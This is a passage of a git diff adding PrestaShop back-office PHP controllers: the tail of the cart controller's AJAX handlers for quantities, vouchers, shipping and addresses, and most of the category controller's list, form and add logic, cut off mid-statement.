(int)Tools::getValue('id_customization', 0)) && !$product->hasAllRequiredCustomizableFields()) + $errors[] = Tools::displayError('Please fill in all the required fields.'); + $this->context->cart->save(); + } + else + $errors[] = Tools::displayError('This product cannot be added to the cart'); + + if (!count($errors)) + { + if ((int)$qty < 0) + { + $qty = str_replace('-', '', $qty); + $operator = 'down'; + } + else + $operator = 'up'; + + if (!($qty_upd = $this->context->cart->updateQty($qty, $id_product, (int)$id_product_attribute, (int)$id_customization, $operator))) + $errors[] = Tools::displayError('You already have the maximum quantity available for this product.'); + elseif ($qty_upd < 0) + { + $minimal_qty = $id_product_attribute ? Attribute::getAttributeMinimalQty((int)$id_product_attribute) : $product->minimal_quantity; + $errors[] = sprintf(Tools::displayError('You must add a minimum quantity of %d', false), $minimal_qty); + } + } + + echo Tools::jsonEncode(array_merge($this->ajaxReturnVars(), array('errors' => $errors))); + } + } + + public function ajaxProcessUpdateDeliveryOption() + { + if ($this->tabAccess['edit'] === '1') + { + $delivery_option = Tools::getValue('delivery_option'); + if ($delivery_option !== false) + $this->context->cart->setDeliveryOption(array($this->context->cart->id_address_delivery => $delivery_option)); + if (Validate::isBool(($recyclable = (int)Tools::getValue('recyclable')))) + $this->context->cart->recyclable = $recyclable; + if (Validate::isBool(($gift = (int)Tools::getValue('gift')))) + $this->context->cart->gift = $gift; + if (Validate::isMessage(($gift_message = pSQL(Tools::getValue('gift_message'))))) + $this->context->cart->gift_message = $gift_message; + $this->context->cart->save(); + echo Tools::jsonEncode($this->ajaxReturnVars()); + } + } + + public function ajaxProcessUpdateOrderMessage() + { + if ($this->tabAccess['edit'] === '1') + { + $id_message = false; + if ($old_message = Message::getMessageByCartId((int)$this->context->cart->id)) + $id_message = $old_message['id_message']; + $message = new Message((int)$id_message); + if ($message_content = Tools::getValue('message')) + { + if (Validate::isMessage($message_content)) + { + $message->message = htmlentities($message_content, ENT_COMPAT, 'UTF-8'); + $message->id_cart = (int)$this->context->cart->id; + $message->id_customer = (int)$this->context->cart->id_customer; + $message->save(); + } + } + else + if (Validate::isLoadedObject($message)) + $message->delete(); + echo Tools::jsonEncode($this->ajaxReturnVars()); + } + } + + public function ajaxProcessUpdateCurrency() + { + if ($this->tabAccess['edit'] === '1') + { + $currency = new Currency((int)Tools::getValue('id_currency')); + if (Validate::isLoadedObject($currency) && !$currency->deleted && $currency->active) + { + $this->context->cart->id_currency = (int)$currency->id; + $this->context->currency = $currency; + $this->context->cart->save(); + } + echo Tools::jsonEncode($this->ajaxReturnVars()); + } + } + public function ajaxProcessUpdateLang() + { + if ($this->tabAccess['edit'] === '1') + { + $lang = new Language((int)Tools::getValue('id_lang')); + if (Validate::isLoadedObject($lang) && $lang->active) + { + $this->context->cart->id_lang = (int)$lang->id; + $this->context->cart->save(); + } + echo Tools::jsonEncode($this->ajaxReturnVars()); + } + } + + public function ajaxProcessDuplicateOrder() + { + if ($this->tabAccess['edit'] === '1') + { + $errors = array(); + if (!$id_order = Tools::getValue('id_order')) + $errors[] = Tools::displayError('Invalid order'); + $cart = Cart::getCartByOrderId($id_order); + $new_cart = $cart->duplicate(); + if (!$new_cart || !Validate::isLoadedObject($new_cart['cart'])) + $errors[] = Tools::displayError('The order cannot be renewed.'); + else if (!$new_cart['success']) + $errors[] = Tools::displayError('The order cannot be renewed.'); + else + { + $this->context->cart = $new_cart['cart']; + echo Tools::jsonEncode($this->ajaxReturnVars()); + } + } + } + + public function ajaxProcessDeleteVoucher() + { + if ($this->tabAccess['edit'] === '1') + { + if ($this->context->cart->removeCartRule((int)Tools::getValue('id_cart_rule'))) + echo Tools::jsonEncode($this->ajaxReturnVars()); + } + } + + public function ajaxProcessupdateFreeShipping() + { + if ($this->tabAccess['edit'] === '1') + { + if (!$id_cart_rule = CartRule::getIdByCode('BO_ORDER_'.(int)$this->context->cart->id)) + { + $cart_rule = new CartRule(); + $cart_rule->code = CartRule::BO_ORDER_CODE_PREFIX.(int)$this->context->cart->id; + $cart_rule->name = array(Configuration::get('PS_LANG_DEFAULT') => $this->l('Free Shipping', 'AdminTab', false, false)); + $cart_rule->id_customer = (int)$this->context->cart->id_customer; + $cart_rule->free_shipping = true; + $cart_rule->quantity = 1; + $cart_rule->quantity_per_user = 1; + $cart_rule->minimum_amount_currency = (int)$this->context->cart->id_currency; + $cart_rule->reduction_currency = (int)$this->context->cart->id_currency; + $cart_rule->date_from = date('Y-m-d H:i:s', time()); + $cart_rule->date_to = date('Y-m-d H:i:s', time() + 24 * 36000); + $cart_rule->active = 1; + $cart_rule->add(); + } + else + $cart_rule = new CartRule((int)$id_cart_rule); + + $this->context->cart->removeCartRule((int)$cart_rule->id); + if (Tools::getValue('free_shipping')) + $this->context->cart->addCartRule((int)$cart_rule->id); + + echo Tools::jsonEncode($this->ajaxReturnVars()); + } + } + + public function ajaxProcessAddVoucher() + { + if ($this->tabAccess['edit'] === '1') + { + $errors = array(); + if (!($id_cart_rule = Tools::getValue('id_cart_rule')) || !$cart_rule = new CartRule((int)$id_cart_rule)) + $errors[] = Tools::displayError('Invalid voucher'); + elseif ($err = $cart_rule->checkValidity($this->context)) + $errors[] = $err; + if (!count($errors)) + if (!$this->context->cart->addCartRule((int)$cart_rule->id)) + $errors[] = Tools::displayError('Can\'t add the voucher'); + echo Tools::jsonEncode(array_merge($this->ajaxReturnVars(), array('errors' => $errors))); + } + } + + public function ajaxProcessUpdateAddress() + { + if ($this->tabAccess['edit'] === '1') + echo Tools::jsonEncode(array('addresses' => $this->context->customer->getAddresses((int)$this->context->cart->id_lang))); + } + + public function ajaxProcessUpdateAddresses() + { + if ($this->tabAccess['edit'] === '1') + { + if (($id_address_delivery = (int)Tools::getValue('id_address_delivery')) && + ($address_delivery = new Address((int)$id_address_delivery)) && + $address_delivery->id_customer == $this->context->cart->id_customer) + $this->context->cart->id_address_delivery = (int)$address_delivery->id; + + if (($id_address_invoice = (int)Tools::getValue('id_address_invoice')) && + ($address_invoice = new Address((int)$id_address_invoice)) && + $address_invoice->id_customer = $this->context->cart->id_customer) + $this->context->cart->id_address_invoice = (int)$address_invoice->id; + $this->context->cart->save(); + + echo Tools::jsonEncode($this->ajaxReturnVars()); + } + } + + protected function getCartSummary() + { + $summary = $this->context->cart->getSummaryDetails(null, true); + $currency = Context::getContext()->currency; + if (count($summary['products'])) + foreach ($summary['products'] as &$product) + { + $product['price'] = str_replace($currency->sign, '', Tools::displayPrice($product['price'], $currency)); + $product['total'] = str_replace($currency->sign, '', Tools::displayPrice($product['total'], $currency)); + $product['image_link'] = $this->context->link->getImageLink($product['link_rewrite'], $product['id_image'], 'small_default'); + if (!isset($product['attributes_small'])) + $product['attributes_small'] = ''; + $product['customized_datas'] = Product::getAllCustomizedDatas((int)$this->context->cart->id, null, true); + } + if (count($summary['discounts'])) + foreach ($summary['discounts'] as &$voucher) + $voucher['value_real'] = Tools::displayPrice($voucher['value_real'], $currency); + $summary['total_products'] = str_replace( + $currency->sign, '', + Tools::displayPrice($summary['total_products'], $currency) + ); + $summary['total_discounts_tax_exc'] = str_replace( + $currency->sign, '', + Tools::displayPrice($summary['total_discounts_tax_exc'], $currency) + ); + $summary['total_shipping_tax_exc'] = str_replace( + $currency->sign, '', + Tools::displayPrice($summary['total_shipping_tax_exc'], $currency) + ); + $summary['total_tax'] = str_replace( + $currency->sign, '', + Tools::displayPrice($summary['total_tax'], $currency) + ); + $summary['total_price_without_tax'] = str_replace( + $currency->sign, '', + Tools::displayPrice($summary['total_price_without_tax'], $currency) + ); + $summary['total_price'] = str_replace( + $currency->sign, '', + Tools::displayPrice($summary['total_price'], $currency) + ); + if (isset($summary['gift_products']) && count($summary['gift_products'])) + foreach ($summary['gift_products'] as &$product) + { + $product['image_link'] = $this->context->link->getImageLink($product['link_rewrite'], $product['id_image'], 'small_default'); + if (!isset($product['attributes_small'])) + $product['attributes_small'] = ''; + } + + + return $summary; + } + + protected function getDeliveryOptionList() + { + $delivery_option_list_formated = array(); + $delivery_option_list = $this->context->cart->getDeliveryOptionList(); + + if (!count($delivery_option_list)) + return array(); + + $id_default_carrier = (int)Configuration::get('PS_CARRIER_DEFAULT'); + foreach (current($delivery_option_list) as $key => $delivery_option) + { + $name = ''; + $first = true; + $id_default_carrier_delivery = false; + foreach ($delivery_option['carrier_list'] as $carrier) + { + if (!$first) + $name .= ', '; + else + $first = false; + + $name .= $carrier['instance']->name; + + if ($delivery_option['unique_carrier']) + $name .= ' - '.$carrier['instance']->delay[$this->context->employee->id_lang]; + + if (!$id_default_carrier_delivery) + $id_default_carrier_delivery = (int)$carrier['instance']->id; + if ($carrier['instance']->id == $id_default_carrier) + $id_default_carrier_delivery = $id_default_carrier; + if (!$this->context->cart->id_carrier) + { + $this->context->cart->setDeliveryOption(array($this->context->cart->id_address_delivery => (int)$carrier['instance']->id.',')); + $this->context->cart->save(); + } + } + $delivery_option_list_formated[] = array('name' => $name, 'key' => $key); + } + return $delivery_option_list_formated; + } + + public function displayAjaxSearchCarts() + { + $id_customer = (int)Tools::getValue('id_customer'); + $carts = Cart::getCustomerCarts((int)$id_customer); + $orders = Order::getCustomerOrders((int)$id_customer); + $customer = new Customer((int)$id_customer); + + if (count($carts)) + foreach ($carts as $key => &$cart) + { + $cart_obj = new Cart((int)$cart['id_cart']); + if ($cart['id_cart'] == $this->context->cart->id || !Validate::isLoadedObject($cart_obj) || $cart_obj->OrderExists()) + unset($carts[$key]); + $currency = new Currency((int)$cart['id_currency']); + $cart['total_price'] = Tools::displayPrice($cart_obj->getOrderTotal(), $currency); + } + if (count($orders)) + foreach ($orders as &$order) + $order['total_paid_real'] = Tools::displayPrice($order['total_paid_real'], $currency); + if ($orders || $carts) + $to_return = array_merge($this->ajaxReturnVars(), + array('carts' => $carts, + 'orders' => $orders, + 'found' => true)); + else + $to_return = array_merge($this->ajaxReturnVars(), array('found' => false)); + + echo Tools::jsonEncode($to_return); + } + + public function ajaxReturnVars() + { + $id_cart = (int)$this->context->cart->id; + $message_content = ''; + if ($message = Message::getMessageByCartId((int)$this->context->cart->id)) + $message_content = $message['message']; + $cart_rules = $this->context->cart->getCartRules(CartRule::FILTER_ACTION_SHIPPING); + + $free_shipping = false; + if (count($cart_rules)) + foreach ($cart_rules as $cart_rule) + if ($cart_rule['id_cart_rule'] == CartRule::getIdByCode('BO_ORDER_'.(int)$this->context->cart->id)) + { + $free_shipping = true; + break; + } + return array('summary' => $this->getCartSummary(), + 'delivery_option_list' => $this->getDeliveryOptionList(), + 'cart' => $this->context->cart, + 'addresses' => $this->context->customer->getAddresses((int)$this->context->cart->id_lang), + 'id_cart' => $id_cart, + 'order_message' => $message_content, + 'link_order' => $this->context->link->getPageLink( + 'order', false, + (int)$this->context->cart->id_lang, + 'step=3&recover_cart='.$id_cart.'&token_cart='.md5(_COOKIE_KEY_.'recover_cart_'.$id_cart)), + 'free_shipping' => (int)$free_shipping + ); + } + + public function initToolbar() + { + parent::initToolbar(); + unset($this->toolbar_btn['new']); + } + + public function displayAjaxGetSummary() + { + echo Tools::jsonEncode($this->ajaxReturnVars()); + } + + public function ajaxProcessUpdateProductPrice() + { + if ($this->tabAccess['edit'] === '1') + { + SpecificPrice::deleteByIdCart((int)$this->context->cart->id, (int)Tools::getValue('id_product'), (int)Tools::getValue('id_product_attribute')); + $specific_price = new SpecificPrice(); + $specific_price->id_cart = (int)$this->context->cart->id; + $specific_price->id_shop = 0; + $specific_price->id_shop_group = 0; + $specific_price->id_currency = 0; + $specific_price->id_country = 0; + $specific_price->id_group = 0; + $specific_price->id_customer = (int)$this->context->customer->id; + $specific_price->id_product = (int)Tools::getValue('id_product'); + $specific_price->id_product_attribute = (int)Tools::getValue('id_product_attribute'); + $specific_price->price = (float)Tools::getValue('price'); + $specific_price->from_quantity = 1; + $specific_price->reduction = 0; + $specific_price->reduction_type = 'amount'; + $specific_price->from = '0000-00-00 00:00:00'; + $specific_price->to = '0000-00-00 00:00:00'; + $specific_price->add(); + echo Tools::jsonEncode($this->ajaxReturnVars()); + } + } + + public static function getOrderTotalUsingTaxCalculationMethod($id_cart) + { + $context = Context::getContext(); + $context->cart = new Cart($id_cart); + $context->currency = new Currency((int)$context->cart->id_currency); + $context->customer = new Customer((int)$context->cart->id_customer); + return Cart::getTotalCart($id_cart, true, Cart::BOTH_WITHOUT_SHIPPING); + } + + public static function replaceZeroByShopName($echo, $tr) + { + return ($echo == '0' ? Configuration::get('PS_SHOP_NAME') : $echo); + } + + public function displayDeleteLink($token = null, $id, $name = null) + { + // don't display ordered carts + foreach ($this->_list as $row) + if ($row['id_cart'] == $id && isset($row['id_order']) && $row['id_order']) + return ; + + return $this->helper->displayDeleteLink($token, $id, $name); + } +} diff --git a/controllers/admin/AdminCategoriesController.php b/controllers/admin/AdminCategoriesController.php new file mode 100755 index 0000000..4acf3a7 --- /dev/null +++ b/controllers/admin/AdminCategoriesController.php @@ -0,0 +1,736 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminCategoriesControllerCore extends AdminController +{ + /** + * @var object Category() instance for navigation + */ + protected $_category = null; + protected $position_identifier = 'id_category_to_move'; + + /** @var boolean does the product have to be removed during the delete process */ + public $remove_products = true; + + /** @var boolean does the product have to be disable during the delete process */ + public $disable_products = false; + + public function __construct() + { + $this->table = 'category'; + $this->className = 'Category'; + $this->lang = true; + $this->deleted = false; + $this->explicitSelect = true; + $this->allow_export = true; + + $this->context = Context::getContext(); + + $this->fieldImageSettings = array( + 'name' => 'image', + 'dir' => 'c' + ); + + $this->fields_list = array( + 'id_category' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 20 + ), + 'name' => array( + 'title' => $this->l('Name'), + 'width' => 'auto' + ), + 'description' => array( + 'title' => $this->l('Description'), + 'width' => 500, + 'maxlength' => 90, + 'callback' => 'getDescriptionClean', + 'orderby' => false + ), + 'position' => array( + 'title' => $this->l('Position'), + 'width' => 40, + 'filter_key' => 'sa!position', + 'align' => 'center', + 'position' => 'position' + ), + 'active' => array( + 'title' => $this->l('Displayed'), + 'active' => 'status', + 'align' => 'center', + 'type' => 'bool', + 'width' => 70, + 'orderby' => false + ) + ); + + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'))); + $this->specificConfirmDelete = false; + + parent::__construct(); + } + + public function init() + { + parent::init(); + + // context->shop is set in the init() function, so we move the _category instanciation after that + if (($id_category = Tools::getvalue('id_category')) && $this->action != 'select_delete') + $this->_category = new Category($id_category); + else + { + if (Shop::isFeatureActive() && Shop::getContext() == Shop::CONTEXT_SHOP) + $this->_category = new Category($this->context->shop->id_category); + elseif (count(Category::getCategoriesWithoutParent()) > 1 && Configuration::get('PS_MULTISHOP_FEATURE_ACTIVE') && count(Shop::getShops(true, null, true)) != 1) + $this->_category = Category::getTopCategory(); + else + $this->_category = new Category(Configuration::get('PS_HOME_CATEGORY')); + } + + $count_categories_without_parent = count(Category::getCategoriesWithoutParent()); + $top_category = Category::getTopCategory(); + if (Tools::isSubmit('id_category')) + $id_parent = $this->_category->id; + elseif (!Shop::isFeatureActive() && $count_categories_without_parent > 1) + $id_parent = $top_category->id; + elseif (Shop::isFeatureActive() && $count_categories_without_parent == 1) + $id_parent = Configuration::get('PS_HOME_CATEGORY'); + elseif (Shop::isFeatureActive() && $count_categories_without_parent > 1 && Shop::getContext() != Shop::CONTEXT_SHOP) + { + if (Configuration::get('PS_MULTISHOP_FEATURE_ACTIVE') && count(Shop::getShops(true, null, true)) == 1) + $id_parent = $this->context->shop->id_category; + else + $id_parent = $top_category->id; + } + else + $id_parent = $this->context->shop->id_category; + + $this->_select = 'sa.position position'; + $this->_filter .= ' AND `id_parent` = '.(int)$id_parent.' '; + + if (Shop::getContext() == Shop::CONTEXT_SHOP) + $this->_join .= ' LEFT JOIN `'._DB_PREFIX_.'category_shop` sa ON (a.`id_category` = sa.`id_category` AND sa.id_shop = '.(int)$this->context->shop->id.') '; + else + $this->_join .= ' LEFT JOIN `'._DB_PREFIX_.'category_shop` sa ON (a.`id_category` = sa.`id_category` AND sa.id_shop = a.id_shop_default) '; + + + // we add restriction for shop + if (Shop::getContext() == Shop::CONTEXT_SHOP && Shop::isFeatureActive()) + $this->_where = ' AND sa.`id_shop` = '.(int)Context::getContext()->shop->id; + + // if we are not in a shop context, we remove the position column + if (Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_SHOP) + unset($this->fields_list['position']); + // shop restriction : if category is not available for current shop, we redirect to the list from default category + if (!$this->_category->isAssociatedToShop() && Shop::getContext() == Shop::CONTEXT_SHOP) + { + $this->redirect_after = self::$currentIndex.'&id_category='.(int)$this->context->shop->getCategory().'&token='.$this->token; + $this->redirect(); + } + } + + public function initContent() + { + if ($this->action == 'select_delete') + $this->context->smarty->assign(array( + 'delete_form' => true, + 'url_delete' => htmlentities($_SERVER['REQUEST_URI']), + 'boxes' => $this->boxes, + )); + + parent::initContent(); + } + + public function setMedia() + { + parent::setMedia(); + $this->addJqueryUi('ui.widget'); + $this->addJqueryPlugin('tagify'); + } + + public function renderList() + { + $this->addRowAction('edit'); + $this->addRowAction('delete'); + $this->addRowAction('add'); + $this->addRowAction('view'); + + $count_categories_without_parent = count(Category::getCategoriesWithoutParent()); + $categories_tree = $this->_category->getParentsCategories(); + + if (empty($categories_tree) + && ($this->_category->id != 1 || Tools::isSubmit('id_category')) + && (Shop::getContext() == Shop::CONTEXT_SHOP && !Shop::isFeatureActive() && $count_categories_without_parent > 1)) + $categories_tree = array(array('name' => $this->_category->name[$this->context->language->id])); + + asort($categories_tree); + $this->tpl_list_vars['categories_tree'] = $categories_tree; + + if (Tools::isSubmit('submitBulkdelete'.$this->table) || Tools::isSubmit('delete'.$this->table)) + { + $category = new Category(Tools::getValue('id_category')); + if ($category->is_root_category) + $this->tpl_list_vars['need_delete_mode'] = false; + else + $this->tpl_list_vars['need_delete_mode'] = true; + $this->tpl_list_vars['delete_category'] = true; + $this->tpl_list_vars['REQUEST_URI'] = $_SERVER['REQUEST_URI']; + $this->tpl_list_vars['POST'] = $_POST; + } + + return parent::renderList(); + } + + public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = false) + { + $alias = 'sa'; + parent::getList($id_lang, $alias.'.position', $order_way, $start, $limit, Context::getContext()->shop->id); + // Check each row to see if there are combinations and get the correct action in consequence + + $nb_items = count($this->_list); + for ($i = 0; $i < $nb_items; $i++) + { + $item = &$this->_list[$i]; + $category_tree = Category::getChildren((int)$item['id_category'], $this->context->language->id); + if (!count($category_tree)) + $this->addRowActionSkipList('view', array($item['id_category'])); + } + } + + public function renderView() + { + $this->initToolbar(); + return $this->renderList(); + } + + public function initToolbar() + { + if (empty($this->display)) + { + if (Configuration::get('PS_MULTISHOP_FEATURE_ACTIVE')) + $this->toolbar_btn['new-url'] = array( + 'href' => self::$currentIndex.'&add'.$this->table.'root&token='.$this->token, + 'desc' => $this->l('Add new root category') + ); + $this->toolbar_btn['new'] = array( + 'href' => self::$currentIndex.'&add'.$this->table.'&token='.$this->token, + 'desc' => $this->l('Add New') + ); + $this->toolbar_btn['import'] = array( + 'href' => $this->context->link->getAdminLink('AdminImport', true).'&import_type='.$this->table, + 'desc' => $this->l('Import') + ); + } + // be able to edit the Home category + if (count(Category::getCategoriesWithoutParent()) == 1 && !Tools::isSubmit('id_category') + && ($this->display == 'view' || empty($this->display))) + $this->toolbar_btn['edit'] = array( + 'href' => self::$currentIndex.'&update'.$this->table.'&id_category='.(int)$this->_category->id.'&token='.$this->token, + 'desc' => $this->l('Edit') + ); + if (Tools::getValue('id_category') && !Tools::isSubmit('updatecategory')) + { + $this->toolbar_btn['edit'] = array( + 'href' => self::$currentIndex.'&update'.$this->table.'&id_category='.(int)Tools::getValue('id_category').'&token='.$this->token, + 'desc' => $this->l('Edit') + ); + } + + if ($this->display == 'view') + $this->toolbar_btn['new'] = array( + 'href' => self::$currentIndex.'&add'.$this->table.'&id_parent='.(int)Tools::getValue('id_category').'&token='.$this->token, + 'desc' => $this->l('Add New') + ); + parent::initToolbar(); + if ($this->_category->id == Category::getTopCategory()->id && isset($this->toolbar_btn['new'])) + unset($this->toolbar_btn['new']); + // after adding a category + if (empty($this->display)) + { + $id_category = (Tools::isSubmit('id_category')) ? '&id_parent='.(int)Tools::getValue('id_category') : ''; + $this->toolbar_btn['new'] = array( + 'href' => self::$currentIndex.'&add'.$this->table.'&token='.$this->token.$id_category, + 'desc' => $this->l('Add New') + ); + + if (Tools::isSubmit('id_category')) + { + $back = Tools::safeOutput(Tools::getValue('back', '')); + if (empty($back)) + $back = self::$currentIndex.'&token='.$this->token; + $this->toolbar_btn['back'] = array( + 'href' => $back, + 'desc' => $this->l('Back to list') + ); + } + } + } + + public function initProcess() + { + if (Tools::isSubmit('add'.$this->table.'root')) + { + if ($this->tabAccess['add']) + { + $this->action = 'add'.$this->table.'root'; + $obj = $this->loadObject(true); + if (Validate::isLoadedObject($obj)) + $this->display = 'edit'; + else + $this->display = 'add'; + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + + parent::initProcess(); + + if ($this->action == 'delete' || $this->action == 'bulkdelete') + if (Tools::getIsset('cancel')) + Tools::redirectAdmin(self::$currentIndex.'&token='.Tools::getAdminTokenLite('AdminCategories')); + elseif (Tools::getValue('deleteMode') == 'link' || Tools::getValue('deleteMode') == 'linkanddisable' || Tools::getValue('deleteMode') == 'delete') + $this->delete_mode = Tools::getValue('deleteMode'); + else + $this->action = 'select_delete'; + } + + public function renderForm() + { + $this->initToolbar(); + $obj = $this->loadObject(true); + $id_shop = Context::getContext()->shop->id; + $selected_cat = array((isset($obj->id_parent) && $obj->isParentCategoryAvailable($id_shop))? (int)$obj->id_parent : (int)Tools::getValue('id_parent', Category::getRootCategory()->id)); + $unidentified = new Group(Configuration::get('PS_UNIDENTIFIED_GROUP')); + $guest = new Group(Configuration::get('PS_GUEST_GROUP')); + $default = new Group(Configuration::get('PS_CUSTOMER_GROUP')); + + $unidentified_group_information = sprintf($this->l('%s - All people without a valid customer account.'), '<b>'.$unidentified->name[$this->context->language->id].'</b>'); + $guest_group_information = sprintf($this->l('%s - Customer who placed an order with the guest checkout.'), '<b>'.$guest->name[$this->context->language->id].'</b>'); + $default_group_information = sprintf($this->l('%s - All people who have created an account on this site.'), '<b>'.$default->name[$this->context->language->id].'</b>'); + $root_category = Category::getRootCategory(); + $root_category = array('id_category' => $root_category->id, 'name' => $root_category->name); + $this->fields_form = array( + 'tinymce' => true, + 'legend' => array( + 'title' => $this->l('Category'), + 'image' => '../img/admin/tab-categories.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Name:'), + 'name' => 'name', + 'lang' => true, + 'size' => 48, + 'required' => true, + 'class' => 'copy2friendlyUrl', + 'hint' => $this->l('Invalid characters:').' <>;=#{}', + ), + array( + 'type' => 'radio', + 'label' => $this->l('Displayed:'), + 'name' => 'active', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ) + ), + array( + 'type' => 'categories', + 'label' => $this->l('Parent category:'), + 'name' => 'id_parent', + 'values' => array( + 'trads' => array( + 'Root' => $root_category, + 'selected' => $this->l('Selected'), + 'Collapse All' => $this->l('Collapse All'), + 'Expand All' => $this->l('Expand All') + ), + 'selected_cat' => $selected_cat, + 'input_name' => 'id_parent', + 'use_radio' => true, + 'use_search' => false, + 'disabled_categories' => array(4), + 'top_category' => Category::getTopCategory(), + 'use_context' => true, + ) + ), + array( + 'type' => 'radio', + 'label' => $this->l('Root Category:'), + 'name' => 'is_root_category', + 'required' => false, + 'is_bool' => true, + 'class' => 't', + 'values' => array( + array( + 'id' => 'is_root_on', + 'value' => 1, + 'label' => $this->l('Yes') + ), + array( + 'id' => 'is_root_off', + 'value' => 0, + 'label' => $this->l('No') + ) + ) + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Description:'), + 'name' => 'description', + 'lang' => true, + 'rows' => 10, + 'cols' => 100, + 'hint' => $this->l('Invalid characters:').' <>;=#{}' + ), + array( + 'type' => 'file', + 'label' => $this->l('Image:'), + 'name' => 'image', + 'display_image' => true, + 'desc' => $this->l('Upload a category logo from your computer.') + ), + array( + 'type' => 'text', + 'label' => $this->l('Meta title:'), + 'name' => 'meta_title', + 'lang' => true, + 'hint' => $this->l('Forbidden characters:').' <>;=#{}' + ), + array( + 'type' => 'text', + 'label' => $this->l('Meta description:'), + 'name' => 'meta_description', + 'lang' => true, + 'hint' => $this->l('Forbidden characters:').' <>;=#{}' + ), + array( + 'type' => 'tags', + 'label' => $this->l('Meta keywords:'), + 'name' => 'meta_keywords', + 'lang' => true, + 'hint' => $this->l('Forbidden characters:').' <>;=#{}', + 'desc' => $this->l('To add "tags," click in the field, write something, and then press "Enter."') + ), + array( + 'type' => 'text', + 'label' => $this->l('Friendly URL:'), + 'name' => 'link_rewrite', + 'lang' => true, + 'required' => true, + 'hint' => $this->l('Only letters and the minus (-) character are allowed.') + ), + array( + 'type' => 'group', + 'label' => $this->l('Group access:'), + 'name' => 'groupBox', + 'values' => Group::getGroups(Context::getContext()->language->id), + 'info_introduction' => $this->l('You now have three default customer groups.'), + 'unidentified' => $unidentified_group_information, + 'guest' => $guest_group_information, + 'customer' => $default_group_information, + 'desc' => $this->l('Mark all of the customer groups you;d like to have access to this category.') + ) + ), + 'submit' => array( + 'title' => $this->l('Save'), + 'class' => 'button' + ) + ); + + $this->tpl_form_vars['shared_category'] = Validate::isLoadedObject($obj) && $obj->hasMultishopEntries(); + $this->tpl_form_vars['PS_ALLOW_ACCENTED_CHARS_URL'] = (int)Configuration::get('PS_ALLOW_ACCENTED_CHARS_URL'); + if (Shop::isFeatureActive()) + $this->fields_form['input'][] = array( + 'type' => 'shop', + 'label' => $this->l('Shop association:'), + 'name' => 'checkBoxShopAsso', + ); + // remove category tree and radio button "is_root_category" if this category has the root category as parent category to avoid any conflict + if ($this->_category->id_parent == Category::getTopCategory()->id && Tools::isSubmit('updatecategory')) + foreach ($this->fields_form['input'] as $k => $input) + if (in_array($input['name'], array('id_parent', 'is_root_category'))) + unset($this->fields_form['input'][$k]); + + if (Tools::isSubmit('add'.$this->table.'root')) + unset($this->fields_form['input'][2],$this->fields_form['input'][3]); + + if (!($obj = $this->loadObject(true))) + return; + + $image = ImageManager::thumbnail(_PS_CAT_IMG_DIR_.'/'.$obj->id.'.jpg', $this->table.'_'.(int)$obj->id.'.'.$this->imageType, 350, $this->imageType, true); + + $this->fields_value = array( + 'image' => $image ? $image : false, + 'size' => $image ? filesize(_PS_CAT_IMG_DIR_.'/'.$obj->id.'.jpg') / 1000 : false + ); + + // Added values of object Group + $category_groups_ids = $obj->getGroups(); + + $groups = Group::getGroups($this->context->language->id); + // if empty $carrier_groups_ids : object creation : we set the default groups + if (empty($category_groups_ids)) + { + $preselected = array(Configuration::get('PS_UNIDENTIFIED_GROUP'), Configuration::get('PS_GUEST_GROUP'), Configuration::get('PS_CUSTOMER_GROUP')); + $category_groups_ids = array_merge($category_groups_ids, $preselected); + } + foreach ($groups as $group) + $this->fields_value['groupBox_'.$group['id_group']] = Tools::getValue('groupBox_'.$group['id_group'], (in_array($group['id_group'], $category_groups_ids))); + + return parent::renderForm(); + } + + public function postProcess() + { + if (!in_array($this->display, array('edit', 'add'))) + $this->multishop_context_group = false; + if (Tools::isSubmit('forcedeleteImage') || (isset($_FILES['image']) && $_FILES['image']['size'] > 0)) + { + $this->processForceDeleteImage(); + if (Tools::isSubmit('forcedeleteImage')) + Tools::redirectAdmin(self::$currentIndex.'&token='.Tools::getAdminTokenLite('AdminCategories').'&conf=7'); + } + + return parent::postProcess(); + } + + public function processForceDeleteImage() + { + $category = $this->loadObject(true); + if (Validate::isLoadedObject($category)) + $category->deleteImage(true); + } + + public function processAdd() + { + $id_category = (int)Tools::getValue('id_category'); + $id_parent = (int)Tools::getValue('id_parent'); + + // if true, we are in a root category creation + if (!$id_parent && !Tools::isSubmit('is_root_category')) + { + $_POST['is_root_category'] = $_POST['level_depth'] = 1; + $_POST['id_parent'] = $id_parent = (int)Configuration::get('PS_ROOT_CATEGORY'); + } + + if ($id_category) + { + if ($id_category != $id_parent) + { + if (!Category::checkBeforeMove($id_category, $id_parent)) + $this->errors[] = Tools::displayError($this->l('The category cannot be moved here.')); + } + else + $this->errors[] = Tools::displayError($this->l('The category cannot be a parent of itself.')); + } + $object = parent::processAdd(); + + //if we create a you root category you have to associate to a shop before to add sub categories in. So we redirect to AdminCategories listing + if ($object && Tools::getValue('is_root_category')) + Tools::redirectAdmin(self::$currentIndex.'&token='.Tools::getAdminTokenLite('AdminCategories').'&conf=3'); + return $object; + } + + protected function setDeleteMode() + { + if ($this->delete_mode == 'link' || $this->delete_mode == 'linkanddisable') + { + $this->remove_products = false; + if ($this->delete_mode == 'linkanddisable') + $this->disable_products = true; + } + else if ($this->delete_mode != 